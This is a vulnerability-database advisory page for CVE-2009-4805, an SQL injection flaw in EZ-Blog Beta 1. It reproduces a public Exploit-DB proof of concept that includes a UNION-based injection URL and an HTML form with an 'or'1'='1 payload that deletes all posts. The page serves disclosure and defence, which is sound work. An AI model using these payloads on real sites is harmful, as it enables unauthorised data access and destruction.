CVE-2009-4805

medium
Published 2010-04-23 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
7.8

Description

Multiple SQL injection vulnerabilities in EZ-Blog Beta 1, when magic_quotes_gpc is disabled, allow remote attackers to execute arbitrary SQL commands via (1) the storyid parameter to public/view.php or (2) the kill parameter to admin/remove.php.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-8128 webapps php verified text ยท 1 KB
Salvatore Fresta ยท 2009-03-02

EZ-Blog beta1 - Delete All Posts / SQL Injection

text exploit Source: Exploit-DB
*******   Salvatore "drosophila" Fresta   *******


Application:      EZ-Blog
                         http://sourceforge.net/projects/ez-blog/
Version:            Beta 1
Bug:                 * Multiple SQL Injection
Exploitation:     Remote
Date:                1 Mar 2009
Discovered by: Salvatore "drosophila" Fresta
Author:             Salvatore "drosophila" Fresta
                         e-mail: drosophilaxxx@gmail.com
              	

*************************************************

- BUGS

SQL Injection:

	Requisites: magic_quotes_gpc = off

	This is a crazy application because it not
	require authentication for posting, deleting,
	etc. and it is entirely vulnerable to SQL
	Injection, as follows:
	
	http://site/path/public/view.php?storyid=-1' UNION ALL SELECT
1,2,3,4,5,6,7,8,9,10%23
	
	There aren't hight reserved information on the
	database, but it is possible to cause inconvenience.
	The following injection allow to delete all
	posts:
	
	<form action="http://site/path/admin/remove.php" method="POST">
	    <input type="hidden" name="kill" value="1'or'1'='1">
	    <input type="hidden" name="confirm" value="1">
	    <input type="hidden" name="rm" value="true">
	    <input type="submit" value="Exploit">
	</form>

# milw0rm.com [2009-03-02]

Application impact

VendorProductVersionsFixed
will_kraftez-blog-

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.